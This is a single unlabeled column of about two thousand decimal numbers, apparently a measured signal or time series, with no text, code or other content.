0.0143924
0.0139211
0.0134814
0.0130538
0.0134556
0.0139197
0.0143082
0.0138274
0.0141648
0.0146504
0.0151411
0.0148001
0.0143976
0.0149064
0.0153211
0.0156549
0.0159203
0.0154299
0.0149506
0.0144711
0.0147488
0.0152151
0.0154487
0.015001
0.0152301
0.0156559
0.0160674
0.0158855
0.0156751
0.0161395
0.0163215
0.0164742
0.0166041
0.016226
0.0158404
0.0154384
0.0156281
0.0160056
0.0161542
0.0158012
0.0159595
0.0162886
0.0165998
0.0164891
0.0163654
0.016716
0.0168136
0.0168999
0.0171959
0.0171357
0.0170664
0.0169851
0.016888
0.0167699
0.0166238
0.0164396
0.0162089
0.0158918
0.0154738
0.0149155
0.0141794
0.0132673
0.0122823
0.012117
0.0134287
0.0146355
0.015324
0.0128265
0.0111809
0.0247381
0.0157959
0.0374405
0.0288452
0.0287254
0.0302209
0.0238617
0.0263252
0.0436241
0.0831244
0.0575632
0.0576799
0.0687461
0.0585573
0.0543848
0.0805962
0.0518479
0.0510408
0.0612328
0.0755801
0.0318126
0.0345171
0.0331034
0.0491942
0.0449689
0.0240689
0.0567727
0.0398349
0.0925865
0.0727475
0.0852518
0.0595454
0.0654157
0.0740413
0.079416
0.0784044
0.0690007
0.0642757
0.0628161
0.0584255
0.0642301
0.0749719
0.101421
0.102162
0.0970048
0.0930118
0.0919661
0.104358
0.0762302
0.0416519
0.119058
0.105404
0.111591
0.131151
0.141558
0.0938387
0.0531349
0.0646492
0.0575457
0.0332648
0.0778893
0.0664831
0.127131
0.156722
0.146635
0.140558
0.118799
0.172952
0.155833
0.161882
0.183754
0.190074
0.220117
0.21199
0.207438
0.17819
0.160917
0.168014
0.150797
0.0905514
0.199005
0.178451
0.218883
0.218929
0.220702
0.168913
0.206415
0.219722
0.21869
0.224265
0.238688
0.220573
0.313618
0.267265
0.221718
0.290592
0.254444
0.191801
0.239505
0.267988
0.226513
0.166137
0.195968
0.239903
0.233699
0.0898236
0.137573
0.08406
0.103199
0.135816
0.115797
0.0832092
0.105747
0.126498
0.116338
0.0679953
0.0846001
0.102876
0.120548
0.108296
0.0790149
0.103893
0.115255
0.0991103
0.0804615
0.0754674
0.0811151
0.0930329
0.0864201
0.0687422
0.0791793
0.0847244
0.0951197
0.0846906
0.0674136
0.0833883
0.0968633
0.0887857
0.0711935
0.0853308
0.0975399
0.0882906
0.071437
0.0781219
0.0851439
0.0991307
0.088837
0.0716832
0.0871499
0.10115
0.0924659
0.0704781
0.0862581
0.102094
0.0915004
0.0742169
0.090039
0.104143
0.0945848
0.0723677
0.0890201
0.105513
0.0937815
0.0761893
0.0925743
0.107688
0.0943593
0.0801239
0.105858
0.0963062
0.0798086
0.0959165
0.109884
0.0957367
0.0777177
0.096745
0.112663
0.101111
0.0848637
0.111073
0.101975
0.0808666
0.098439
0.115948
0.102755
0.0871841
0.113588
0.100572
0.0835768
0.102969
0.119239
0.106582
0.0898472
0.117423
0.107299
0.0854832
0.104082
0.122386
0.107934
0.0915929
0.120075
0.10612
0.0880769
0.109198
0.126974
0.112034
0.0940338
0.12496
0.110102
0.0965228
0.126849
0.114524
0.0986118
0.126831
0.115661
0.0926792
0.113095
0.133009
0.116656
0.0994337
0.13104
0.115701
0.0998284
0.132823
0.118664
0.103261
0.13281
0.116944
0.09761
0.120389
0.139715
0.122908
0.103492
0.13752
0.120773
0.106053
0.139916
0.125072
0.107957
0.140861
0.123744
0.108979
0.14229
0.128204
0.110834
0.142377
0.129632
0.104022
0.126991
0.149489
0.130353
0.111195
0.147789
0.129685
0.111491
0.14977
0.133072
0.115969
0.151712
0.133274
0.114748
0.15273
0.135744
0.11866
0.154423
0.135694
0.117462
0.155303
0.138397
0.121318
0.156926
0.138393
0.119738
0.157758
0.140573
0.122968
0.157435
0.138603
0.116099
0.143332
0.166236
0.145545
0.122668
0.163457
0.142833
0.125393
0.166352
0.148108
0.12758
0.167654
0.146531
0.128816
0.169677
0.151333
0.130424
0.170992
0.149541
0.131567
0.172671
0.1539
0.133283
0.173885
0.152482
0.134487
0.175545
0.156887
0.13594
0.176344
0.154936
0.136598
0.176327
0.158498
0.132886
0.16173
0.185977
0.159445
0.134733
0.183453
0.162502
0.141644
0.186659
0.16328
0.140585
0.188048
0.166704
0.145517
0.190248
0.166424
0.143954
0.191431
0.169804
0.148642
0.192467
0.169239
0.146359
0.191745
0.170386
0.144175
0.174229
0.202357
0.173367
0.149105
0.199538
0.177609
0.153142
0.201522
0.176267
0.15539
0.203537
0.182254
0.158028
0.204124
0.184601
0.148217
0.180814
0.213464
0.185818
0.158485
0.210297
0.184094
0.158385
0.211122
0.186819
0.157081
0.19046
0.221104
0.189565
0.162547
0.217982
0.194877
0.167883
0.220434
0.198701
0.158081
0.193809
0.229821
0.19975
0.169548
0.225844
0.197065
0.169524
0.226287
0.200606
0.16858
0.203409
0.2365
0.203166
0.174584
0.231431
0.206768
0.172737
0.210774
0.244923
0.209339
0.175479
0.235997
0.209645
0.176672
0.213842
0.248443
0.220857
0.171403
0.212749
0.254499
0.220972
0.186638
0.246661
0.21463
0.178293
0.220527
0.257868
0.226658
0.183955
0.224062
0.259152
0.221922
0.180405
0.224938
0.264477
0.232807
0.188579
0.230065
0.266834
0.23307
0.189911
0.210571
0.23183
0.274899
0.238342
0.191872
0.234799
0.27598
0.24492
0.185647
0.218391
0.243996
0.284
0.247125
0.195058
0.227371
0.246094
0.286836
0.25546
0.193708
0.228114
0.22058
0.237915
0.285671
0.248921
0.195889
0.221619
0.227491
0.230018
0.233798
0.244258
0.286494
0.255533
0.192406
0.224992
0.21626
0.223128
0.209538
0.214604
0.203643
0.207188
0.197828
0.200815
0.193201
0.196674
0.189997
0.192984
0.187568
0.190342
0.185464
0.188041
0.183684
0.186093
0.182094
0.184346
0.180747
0.182849
0.179497
0.181456
0.178496
0.180229
0.177537
0.179048
0.176673
0.177991
0.175797
0.176942
0.175005
0.175997
0.174198
0.175058
0.173478
0.174212
0.172736
0.173368
0.172073
0.172601
0.171384
0.171834
0.170777
0.171143
0.170143
0.170451
0.169593
0.169835
0.169015
0.169216
0.168522
0.168667
0.167998
0.168115
0.167555
0.16763
0.167086
0.167139
0.1667
0.166725
0.166287
0.166294
0.165996
0.165981
0.165583
0.165562
0.165291
0.165256
0.164968
0.164927
0.164717
0.164663
0.164431
0.164375
0.164216
0.16415
0.163967
0.163897
0.163787
0.163703
0.163568
0.163484
0.163416
0.163323
0.163223
0.163135
0.163094
0.163003
0.162924
0.16284
0.162815
0.162731
0.162666
0.16259
0.162577
0.1625
0.162445
0.162376
0.162372
0.162303
0.162255
0.162194
0.162196
0.162134
0.162093
0.162038
0.162044
0.161989
0.161952
0.161904
0.161913
0.161864
0.16183
0.161788
0.161799
0.161756
0.161724
0.161687
0.161699
0.161661
0.16163
0.161598
0.161611
0.161578
0.161547
0.16152
0.161532
0.161503
0.161473
0.161449
0.161461
0.161436
0.161405
0.161385
0.161396
0.161375
0.161343
0.161327
0.161337
0.161319
0.161286
0.161274
0.161282
0.161268
0.161233
0.161224
0.161231
0.16122
0.161184
0.161178
0.161183
0.161176
0.161139
0.161135
0.16114
0.161134
0.161097
0.161096
0.1611
0.161096
0.16106
0.161059
0.161065
0.161062
0.161027
0.161027
0.161035
0.161032
0.160999
0.160999
0.161009
0.161006
0.160975
0.160976
0.160987
0.160985
0.160956
0.160957
0.160971
0.160968
0.160943
0.160942
0.160961
0.160956
0.160938
0.160934
0.160963
0.160953
0.160948
0.160937
0.160984
0.160963
0.160984
0.160959
0.161064
0.161023
0.161075
0.160934
0.160997
0.160697
0.16134
0.1601
0.16492
0.164283
0.189243
0.213154
0.23849
0.264795
0.22663
0.235943
0.0949907
0.195529
0.206738
0.097017
0.198559
0.202115
0.0913513
0.20011
0.201074
0.0918533
0.200455
0.200727
0.0905791
0.200813
0.200816
0.0909846
0.20057
0.200534
0.0907995
0.200731
0.200696
0.0908441
0.200563
0.200501
0.0908311
0.200755
0.200701
0.0908348
0.200595
0.200519
0.0908549
0.200794
0.200729
0.0908467
0.200639
0.200556
0.0908704
0.200843
0.200773
0.090861
0.200692
0.200606
0.0908945
0.2009
0.200827
0.0908845
0.200753
0.200664
0.090922
0.200964
0.200889
0.0909117
0.200821
0.200731
0.0909531
0.201037
0.20096
0.0909423
0.200898
0.200805
0.0909879
0.201118
0.201039
0.0909766
0.200983
0.200889
0.0910266
0.201207
0.201126
0.0910148
0.201076
0.200981
0.0910689
0.201305
0.201223
0.0910568
0.201178
0.201082
0.0911148
0.20141
0.201328
0.0911025
0.201287
0.201191
0.0911645
0.201523
0.201441
0.0911521
0.201404
0.201309
0.091218
0.201645
0.201564
0.0912056
0.20153
0.201436
0.0912757
0.201775
0.201696
0.0912634
0.201665
0.201572
0.0913377
0.201916
0.201837
0.0913253
0.20181
0.201718
0.0914043
0.202067
0.201988
0.0913916
0.201967
0.201874
0.0914758
0.202231
0.202151
0.0914626
0.202136
0.202042
0.0915528
0.202406
0.202325
0.0915386
0.202317
0.202223
0.0916354
0.202595
0.202513
0.09162
0.202513
0.202417
0.0917241
0.202799
0.202716
0.0917074
0.202724
0.202627
0.0918194
0.20302
0.202934
0.0918013
0.202953
0.202852
0.091922
0.203259
0.20317
0.0919022
0.2032
0.203096
0.0920323
0.203518
0.203424
0.0920106
0.203469
0.203359
0.0921512
0.203798
0.203699
0.0921325
0.203759
0.203643
0.0922808
0.204101
0.203995
0.092255
0.204074
0.20395
0.0924242
0.204428
0.204313
0.0923907
0.204414
0.204278
0.0925691
0.204782
0.204654
0.0925367
0.204783
0.204631
0.0927307
0.205167
0.205021
0.0926937
0.205183
0.205009
0.0929053
0.205589
0.205417
0.0928625
0.205623
0.20542
0.0930935
0.206048
0.205843
0.0930435
0.206102
0.205863
0.0932975
0.206547
0.206302
0.0932382
0.206624
0.20634
0.0935187
0.20709
0.206797
0.0934553
0.207208
0.206844
0.093765
0.207699
0.207347
0.0936796
0.207803
0.207425
0.0940292
0.208336
0.207909
0.0939194
0.208499
0.208009
0.0943093
0.209056
0.208536
0.0941858
0.20926
0.208667
0.0946262
0.209851
0.209224
0.0944768
0.210111
0.209395
0.0949768
0.210746
0.209986
0.0947987
0.211058
0.2102
0.0953702
0.21175
0.210833
0.095159
0.212125
0.211097
0.0958174
0.212886
0.211779
0.0955659
0.213338
0.212099
0.0963315
0.214181
0.21284
0.096029
0.214726
0.213234
0.0969299
0.215681
0.21405
0.0965695
0.216339
0.214536
0.0976446
0.217432
0.215452
0.0972098
0.218254
0.216053
0.0985154
0.219541
0.217092
0.0979778
0.220597
0.21785
0.0996067
0.222171
0.219082
0.098934
0.223578
0.2201
0.101031
0.225578
0.221665
0.100195
0.227507
0.223097
0.102959
0.230126
0.22511
0.101889
0.232798
0.227023
0.105543
0.23671
0.229857
0.104586
0.240923
0.233319
0.109188
0.247083
0.238082
0.108653
0.253178
0.240426
0.114055
0.26207
0.241458
0.113295
0.265122
0.22302
0.114584
0.273351
0.230604
0.236042
0.23861
0.272602
0.111511
0.115614
0.232079
0.227477
0.234054
0.270557
0.230799
0.225511
0.231098
0.275283
0.114258
0.116518
0.234893
0.239678
0.253642
0.230105
0.224187
0.104146
0.317078
0.268939
0.213361
0.108453
0.274146
0.216477
0.238782
0.235797
0.270724
0.102489
0.0497354
0.122716
0.11742
0.115622
0.0547762
0.154366
0.0553749
0.113413
0.131538
0.0548071
0.113245
0.12957
0.0545551
0.114191
0.124627
0.0537709
0.112784
0.119513
0.052577
0.110917
0.116113
0.0515808
0.109111
0.113395
0.0507855
0.10807
0.111339
0.0500957
0.107298
0.109851
0.0495453
0.106717
0.108745
0.0491056
0.106231
0.10788
0.0487468
0.105805
0.107176
0.0484498
0.105433
0.10659
0.0482015
0.10511
0.106094
0.0479924
0.104826
0.105673
0.0478156
0.104577
0.105312
0.0476654
0.10436
0.105001
0.0475372
0.10417
0.104731
0.0474269
0.104001
0.104513
0.0473322
0.103852
0.104285
0.0472499
0.103723
0.104105
0.0471797
0.103591
0.103944
0.0471178
0.103482
0.103801
0.0470637
0.103383
0.103675
0.047016
0.103293
0.103562
0.046974
0.103214
0.103461
0.0469365
0.103141
0.103392
0.0469045
0.103076
0.103284
0.0468702
0.103031
0.103214
0.0468435
0.102966
0.103152
0.0468184
0.102917
0.103091
0.0467949
0.102871
0.103035
0.0467731
0.102828
0.102982
0.0467529
0.102787
0.102933
0.0467341
0.102749
0.102886
0.0467164
0.102712
0.102841
0.0466997
0.102677
0.102799
0.0466839
0.102643
0.10276
0.0466692
0.10261
0.102723
0.0466556
0.102579
0.102687
0.0466431
0.102549
0.102653
0.0466316
0.102521
0.10262
0.0466208
0.102495
0.102589
0.0466103
0.10247
0.10256
0.0465998
0.102449
0.102534
0.046589
0.10243
0.10251
0.0465782
0.102414
0.102489
0.046567
0.1024
0.10247
0.0465571
0.102387
0.102458
0.0465492
0.102396
0.102446
0.0465829
0.102403
0.10241
0.0467587
0.102503
0.102334
0.0473248
0.102937
0.101762
0.0489505
0.105477
0.0995436
0.0485811
0.118522
0.116691
0.135583
0.319904
0.302026
0.256637
0.228169
0.160711
0.139112
0.1205
0.0645184
0.173514
0.0573151
0.0501416
0.046544
0.0473478
0.051614
0.0595805
0.0711701
0.0680047
0.059092
0.05163
0.0474903
0.0473931
0.0512575
0.0581075
0.0661624
0.0652028
0.0574758
0.0509636
0.0473149
0.047298
0.0508277
0.0571525
0.064736
0.0645436
0.0570049
0.0507984
0.0473179
0.0461006
0.0460454
0.0459918
0.0459393
0.0458658
0.0456846
0.0451819
0.0447553
0.0446649
0.0446646
0.0450951
0.0451025
0.0451979
0.0454399
0.0453631
0.0453571
0.0453621
0.0450995
0.0446695
0.0446727
0.0446736
0.0446745
0.045099
0.0450999
0.0451009
0.045362
0.0453605
0.0453591
0.0455389
0.0455404
0.045542
0.0455435
0.04554
0.0455296
0.0455916
0.0456998
0.0456493
0.0456761
0.0457776
0.0457515
0.0457851
0.045856
0.0458319
0.0458544
0.0458526
0.0457748
0.0456747
0.0456742
0.0456726
0.045671
0.0457709
0.0457725
0.0457743
0.0458508
0.045849
0.0458473
0.0458458
0.0457695
0.0456696
0.0455376
0.0453579
0.0450983
0.0446757
0.0446775
0.04468
0.0446832
0.0450993
0.0450983
0.045098
0.0453572
0.045357
0.0453575
0.0453588
0.0451012
0.0446871
0.0446916
0.0446967
0.0447027
0.0451117
0.0451073
0.0451038
0.0453612
0.0453646
0.0453689
0.0455484
0.0455439
0.0455404
0.0455381
0.0455369
0.0455365
0.0455368
0.0456687
0.0456684
0.0456687
0.045768
0.0457679
0.0457684
0.0458446
0.0458438
0.0458437
0.0458442
0.0457689
0.0456698
0.0456718
0.0456751
0.0456797
0.0457777
0.0457735
0.0457707
0.0458456
0.0458481
0.0458517
0.0459078
0.0459047
0.0459027
0.0459017
0.0459014
0.0459019
0.0459029
0.0459042
0.0459059
0.0459077
0.0459096
0.0459115
0.0459133
0.0458921
0.0459154
0.0461519
0.0473552
0.0508077
0.0569763
0.064494
0.0645015
0.0569908
0.0508375
0.0473951
0.0474315
0.0508711
0.0570193
0.0645363
0.0645743
0.0570505
0.0509019
0.0474631
0.0474893
0.0509309
0.0570854
0.0646101
0.0646519
0.0571256
0.0509607
0.0475127
0.047538
0.0510014
0.0571923
0.0647448
0.0648681
0.0573061
0.0510678
0.0475876
0.0476618
0.0511908
0.0575068
0.0651485
0.0653781
0.057721
0.051357
0.0477789
0.0479507
0.0515563
0.0578755
0.0655059
0.0651133
0.0578159
0.0517368
0.0481355
0.0483422
0.0518635
0.0575379
0.0646736
0.0653156
0.057225
0.0519612
0.048611
0.0490305
0.0520556
0.0571186
0.0648796
0.0471111
0.0469375
0.046777
0.0466561
0.0465395
0.0464481
0.0463915
0.0463562
0.0463322
0.0463119
0.046291
0.0462662
0.0462362
0.0461981
0.0459627
0.0459377
0.0459588
0.0459953
0.045975
0.046001
0.0460325
0.0460067
0.0460264
0.0460228
0.0459924
0.0459568
0.0459549
0.0459529
0.045951
0.0459861
0.0459881
0.0459902
0.0460196
0.0460164
0.0460139
0.0460377
0.0460414
0.0460456
0.0460493
0.0460524
0.0460321
0.0460575
0.0460787
0.0460525
0.0460733
0.0460901
0.0460701
0.0460958
0.0461131
0.0460843
0.0461048
0.0461019
0.0460879
0.0460706
0.0460675
0.0460638
0.0460595
0.0460784
0.0460822
0.0460853
0.0460998
0.0460971
0.0460939
0.0460899
0.0460738
0.0460545
0.046034
0.0460118
0.0459842
0.0459492
0.0459477
0.0459465
0.0459457
0.04598
0.045981
0.0459824
0.0460098
0.0460082
0.0460069
0.0460061
0.0459795
0.0459456
0.0459462
0.0459478
0.0459504
0.0459831
0.0459809
0.0459798
0.046006
0.0460067
0.0460085
0.0460285
0.0460271
0.0460268
0.0460272
0.0460283
0.0460299
0.0460318
0.0460505
0.0460476
0.0460458
0.0460601
0.0460634
0.0460684
0.046085
0.0460791
0.0460733
0.0460701
0.0460584
0.0460443
0.0460435
0.0460435
0.0460445
0.0460575
0.0460568
0.0460572
0.0460686
0.0460679
0.0460682
0.0460771
0.0460772
0.0460782
0.0460805
0.0460867
0.0460934
0.0460988
0.0461032
0.0461066
0.0461093
0.0461115
0.0461131
0.0461168
0.0460982
0.0461347
0.0461631
0.0461144
0.0461264
0.0461358
0.0461318
0.0462029
0.0462474
0.0461499
0.0461443
0.0461359
0.0461297
0.0461221
0.0461208
0.0461192
0.0461169
0.0461251
0.0461269
0.0461282
0.0461338
0.0461327
0.0461313
0.0461356
0.0461367
0.0461377
0.0461399
0.0461387
0.0461739
0.0463037
0.0463885
0.0461973
0.0461402
0.0461491
0.0462074
0.0464931
0.0461187
0.0461302
0.0461399
0.0461389
0.0461381
0.0461387
0.0461396
0.0461404
0.0461372
0.0461365
0.0461339
0.0461292
0.0461227
0.046114
0.0461102
0.0461053
0.0460991
0.0461093
0.046115
0.0461194
0.0461264
0.0461224
0.0461172
0.0461103
0.046102
0.0460913
0.0460866
0.0460851
0.0460847
0.0460911
0.046092
0.0460942
0.0461017
0.046098
0.0460965
0.0461008
0.0461029
0.0461084
0.0461165
0.0461229
0.0461277
0.0461313
0.0461342
0.0461309
0.0461263
0.0461276
0.0461319
0.046135
0.0461219
0.0461203
0.0461128
0.0461065
0.0461037
0.0461048
0.0461086
0.0461152
0.0461018
0.0461025
0.0461004
0.0460966
0.0460917
0.0460857
0.0460785
0.0460698
0.0460594
0.0460467
0.0460311
0.0460115
0.0459866
0.0459544
0.0459123
0.0458568
0.0457834
0.0456855
0.0455543
0.0453746
0.0451173
0.0447097
0.0447178
0.0447271
0.0447379
0.0451427
0.0451326
0.0451242
0.0453817
0.0453905
0.0454011
0.0454138
0.0451548
0.0447505
0.0447651
0.0447821
0.0448007
0.045206
0.045186
0.0451691
0.0454289
0.0454467
0.0454676
0.0456515
0.0456297
0.0456111
0.0455953
0.045582
0.0455709
0.0455617
0.045693
0.0457022
0.0457135
0.0458103
0.0457994
0.0457905
0.0458635
0.0458719
0.0458821
0.0458946
0.0458235
0.045727
0.045743
0.0457619
0.0457839
0.0458795
0.0458578
0.0458392
0.0459096
0.0459274
0.0459483
0.0459727
0.0459049
0.0458096
0.0456769
0.0454921
0.0452294
0.0448257
0.0448513
0.0448823
0.0449185
0.0453265
0.0452889
0.0452568
0.0455208
0.0455542
0.0455932
0.0456387
0.0453704
0.0449607
0.0450103
0.0450685
0.0451368
0.0455528
0.0454822
0.0454219
0.0456916
0.0457533
0.0458253
0.0460153
0.045943
0.0458807
0.045827
0.0457807
0.0457408
0.0457065
0.0458395
0.0458741
0.0459142
0.0460079
0.0459685
0.0459344
0.0460011
0.046034
0.046072
0.046116
0.0460535
0.0459606
0.0460141
0.0460761
0.0461476
0.0462364
0.0461666
0.046106
0.0461666
0.046225
0.0462921
0.0463693
0.046317
0.0462305
0.0460993
0.0459093
0.0456356
0.045217
0.0453115
0.045423
0.0455545
0.0459808
0.0458468
0.0457328
0.0460074
0.046122
0.0462559
0.0464123
0.0461383
0.0457101
0.0458944
0.0461136
0.0463747
0.0467994
0.0465419
0.0463236
0.0465952
0.0468089
0.0470582
0.0472127
0.0469765
0.0467717
0.0465946
0.0464418
0.0463102
0.0461969
0.0463263
0.046437
0.0465647
0.0466387
0.0465166
0.0464099
0.0464582
0.0465595
0.0466746
0.0468052
0.0467783
0.0467117
0.0468805
0.0470736
0.0472942
0.0473207
0.047117
0.046937
0.0469524
0.0471163
0.0472962
0.0474916
0.0475497
0.0475466
0.047485
0.047349
0.0471033
0.0466872
0.0470638
0.0475205
0.0480752
0.0483982
0.0478892
0.0474628
0.0476872
0.0480813
0.0485429
0.0490711
0.0489935
0.0487405
0.0495044
0.0505335
0.0517669
0.0515097
0.0505987
0.0497107
0.0497247
0.0504486
0.0511222
0.050655
0.0501614
0.0496038
0.0490419
0.0485691
0.0481625
0.0477984
0.0478346
0.0481509
0.0485059
0.0483964
0.0480733
0.0477982
0.0477054
0.0479481
0.0482029
0.0484545
0.0487374
0.048935
0.0493794
0.0497854
0.0501576
0.0496437
0.0493689
0.0490611
0.0487003
0.048928
0.0491245
0.0486145
0.0484806
0.0483174
0.0481356
0.0479446
0.047752
0.0475647
0.0473859
0.0472212
0.0470698
0.0469294
0.0467993
0.0466809
0.0465746
0.0464803
0.0463965
0.0463234
0.0462599
0.0462046
0.0461564
0.0461148
0.0460787
0.0460476
0.0460207
0.0459977
0.045978
0.0459612
0.0459472
0.0459355
0.0459259
0.0459182
0.0459597
0.0459667
0.0459755
0.0460059
0.0459978
0.0459914
0.0460159
0.0460217
0.0460293
0.0460387
0.046016
0.0459864
0.0459995
0.0460151
0.0460334
0.0460598
0.0460427
0.0460282
0.0460501
0.0460636
0.0460796
0.046095
0.0460799
0.0460671
0.0460564
0.0460476
0.0460405
0.046035
0.0460503
0.0460554
0.0460621
0.0460739
0.0460675
0.0460627
0.0460728
0.0460775
0.0460838
0.0460917
0.0460821
0.0460705
0.0460808
0.046093
0.0461073
0.0461172
0.0461037
0.046092
0.0461013
0.0461124
0.0461251
0.0461386
0.0461326
0.0461237
0.0461125
0.0460983
0.0460798
0.046055
0.0460801
0.0461092
0.0461429
0.0461616
0.0461303
0.0461032
0.0461201
0.0461453
0.0461742
0.0462075
0.0461978
0.0461819
0.046227
0.0462788
0.046338
0.0463412
0.0462872
0.0462395
0.0462456
0.0462885
0.0463355
0.0463168
0.0462814
0.0462463
0.0462129
0.0461828
0.0461562
0.0461328
0.0461426
0.0461641
0.0461879
0.0461855
0.0461681
0.0461498
0.0461516
0.0461619
0.0461678
0.0461694
0.0462
0.0462127
0.0462371
0.0462597
0.0462805
0.0462267
0.0462197
0.0462112
0.046168
0.0461652
0.0461621
0.0460947
0.0461047
0.0461148
0.0461246
0.0461334
0.0461394
0.0461409
0.0461373
0.0461292
0.0461191
0.0461089
0.0460997
0.046092
0.0460858
0.0460813
0.0460883
0.0460927
0.0460987
0.0461036
0.0460981
0.046094
0.0460986
0.0461021
0.0461053
0.0461057
0.0461091
0.046106
0.0461138
0.0461206
0.0461238
0.0461048
0.0461114
0.0461125
0.0461014
0.0460916
0.0460771
0.0460496
0.046068
0.0460838
0.0460953
0.0461017
0.0461031
0.0461018
0.0461022
0.0460999
0.0460931
0.0460811
0.0460923
0.0460987
0.0460659
0.0460813
0.0460654
0.0460468
0.0460266
0.0460061
0.0460276
0.0460477
0.0459829
0.046005
0.0460295
0.0460596
0.0460931
0.0461218
0.0461144
0.0461028
0.046089
0.0460428
0.0460607
0.0460778
0.0460405
0.0460205
0.0459994
0.045977
0.0460242
0.0460743
0.0460593
0.0460438
0.0460274
0.0459604
0.0459836
0.0460047
0.0459526
0.0459256
0.0458954
0.0458371
0.0458736
0.0459062
0.0459354
0.0459618
0.0459859
0.0460084
0.045982
0.0459572
0.0459299
0.0459
0.0459303
0.0459578
0.0458666
0.0458998
0.0458664
0.0458291
0.0457874
0.045741
0.0457875
0.0458292
0.045689
0.0457406
0.0457962
0.0458615
0.0459344
0.0460095
0.0460843
0.0461593
0.0462333
0.0463002
0.0463521
0.0463854
0.0464018
0.0464058
0.0464825
0.0465677
0.0466612
0.0466153
0.0465398
0.0464684
0.0464374
0.0464912
0.0465467
0.0466044
0.0466945
0.0467618
0.0468692
0.0469839
0.0471057
0.046959
0.0468658
0.0467777
0.046665
0.0467292
0.0467974
0.0466294
0.0465834
0.0465397
0.0464986
0.0464599
0.0464231
0.0463874
0.0463197
0.0463398
0.0463611
0.0462569
0.0462482
0.0462403
0.0461569
0.0461545
0.0461517
0.0461478
0.0462661
0.046384
0.0464084
0.0464339
0.0464597
0.0462905
0.0462838
0.0462753
0.0461422
0.0461341
0.0461223
0.0461055
0.0462939
0.0464845
0.0466766
0.046869
0.0470579
0.0472353
0.0473734
0.047517
0.0476618
0.0473718
0.0472676
0.0471617
0.0469427
0.0470157
0.0470845
0.0471448
0.0474693
0.0478021
0.0479315
0.0480419
0.0481248
0.0476606
0.0476206
0.0475544
0.0471916
0.0472193
0.0472223
0.0468077
0.0468375
0.0468437
0.0468311
0.0468041
0.0467669
0.0467233
0.0465063
0.0465228
0.0465312
0.0462658
0.0462839
0.0462925
0.0460821
0.0460503
0.0460077
0.0459522
0.0462354
0.0465281
0.0465101
0.0464734
0.0464144
0.0460401
0.0461255
0.0461896
0.0458811
0.045792
0.0456825
0.0453384
0.0454703
0.0455826
0.045677
0.0457559
0.0458212
0.0458749
0.045919
0.0459551
0.0459848
0.0460092
0.0460295
0.0460465
0.0460608
0.0460733
0.0459895
0.0459667
0.0459405
0.045834
0.0458718
0.0459051
0.0458232
0.0457801
0.0457314
0.0456763
0.0457911
0.0459104
0.0458756
0.0458352
0.0457883
0.0456228
0.0456864
0.0457421
0.0456142
0.0455441
0.0454651
0.0453266
0.0454189
0.0455013
0.0455748
0.0456402
0.0456985
0.0457502
0.0456881
0.0456292
0.0455631
0.0454916
0.0455649
0.0456303
0.0454095
0.0454889
0.045406
0.0453133
0.04521
0.0451026
0.0452159
0.0453179
0.0449769
0.0450951
0.0452234
0.0453761
0.0455503
0.0457336
0.0456698
0.0455953
0.0455085
0.0452659
0.0453732
0.0454675
0.0452759
0.0451634
0.0450372
0.0448962
0.0451442
0.0454076
0.045291
0.045157
0.0450038
0.0446781
0.0448515
0.0450065
0.0447391
0.0445649
0.0443725
0.0441075
0.044316
0.0445067
0.0446803
0.0448378
0.0449801
0.0451083
0.0449676
0.0448265
0.0446709
0.0445168
0.0446849
0.044838
0.0443326
0.0444996
0.0443123
0.0441077
0.0438856
0.0436794
0.0439144
0.0441325
0.0434264
0.0436456
0.0438806
0.0441613
0.044485
0.0448303
0.0451851
0.0455503
0.0459305
0.0463295
0.0467501
0.0471951
0.0476676
0.0481712
0.0487075
0.0492748
0.0498673
0.0504733
0.0510851
0.0517013
0.0523161
0.0528999
0.0537635
0.0544628
0.0548887
0.0536054
0.053404
0.0529396
0.0521513
0.052452
0.0525797
0.0525018
0.0535174
0.0546935
0.0554194
0.054577
0.0526222
0.100955
0.222015
0.240033
0.239291
0.219298
0.196816
0.0978327
0.263838
0.204347
0.231423
0.227993
0.268721
0.105375
0.109579
0.211681
0.232385
0.241399
0.222849
0.197003
0.0967962
0.306252
0.249061
0.196421
0.100829
0.261805
0.232087
0.215662
0.229279
0.260326
0.0915309
0.196057
0.0468257
0.117564
0.114818
0.105628
0.0520235
0.150259
0.0526263
0.102569
0.128441
0.132956
0.0543973
0.0541807
0.0532156
0.0536741
0.0540873
0.0531941
0.052268
0.0519247
0.0528122
0.0523337
0.0514923
0.0506669
0.0510649
0.0513746
0.0515837
0.0516684
0.0515997
0.051415
0.0507012
0.0508247
0.0508396
0.0500603
0.0500837
0.0500173
0.0493652
0.0493858
0.0493312
0.0492009
0.0499441
0.0507393
0.0505383
0.0502465
0.0498774
0.0491162
0.0494643
0.0497444
0.0489978
0.048727
0.0483952
0.0480101
0.0487087
0.0494414
0.0502114
0.0509938
0.0517837
0.0526178
0.05353
0.0540038
0.0527683
0.0496235
0.0938283
0.0906894
0.186663
0.2037
0.222809
0.227459
0.230416
0.296803
0.119253
0.209391
0.252101
0.224571
0.21099
0.224081
0.256205
0.103378
0.193801
0.126103
0.102021
0.10426
0.20611
0.222683
0.217714
0.199917
0.183772
0.0902462
0.247162
0.214313
0.215854
0.222189
0.205871
0.171948
0.0875463
0.239593
0.187513
0.210881
0.208506
0.24371
0.0962434
0.100362
0.196489
0.210207
0.213458
0.193001
0.178124
0.0872892
0.276991
0.23577
0.211024
0.196924
0.207203
0.236506
0.0921512
0.180219
0.0852442
0.190372
0.205575
0.196412
0.19186
0.174341
0.196963
0.197648
0.23048
0.0852491
0.208815
0.271192
0.114703
0.0431832
0.106442
0.105418
0.0980009
0.0478249
0.137806
0.0474012
0.0911905
0.117456
0.0447894
0.0876788
0.196553
0.283737
0.114038
0.145557
0.0500756
0.051935
0.0516696
0.0524171
0.0517874
0.0525535
0.0519008
0.0511592
0.0504229
0.0510237
0.0501987
0.0506291
0.0506381
0.0502367
0.0498207
0.0490322
0.0495362
0.0498034
0.0485803
0.0456397
0.092417
0.0936559
0.187198
0.200511
0.203821
0.18528
0.170878
0.0828203
0.225395
0.195537
0.196075
0.201101
0.187521
0.159448
0.0804988
0.217939
0.172874
0.18793
0.195997
0.223332
0.08868
0.0923383
0.181159
0.192829
0.183729
0.179318
0.194153
0.0795479
0.254503
0.163494
0.184455
0.184381
0.214851
0.173432
0.186727
0.190206
0.173439
0.161126
0.077323
0.211513
0.183306
0.183699
0.186379
0.17439
0.150199
0.0760072
0.242452
0.0868665
0.171258
0.105754
0.0393228
0.0806273
0.0841282
0.246053
0.0966566
0.0962489
0.09027
0.0439538
0.126466
0.0435663
0.0844807
0.107925
0.0411489
0.103332
0.132638
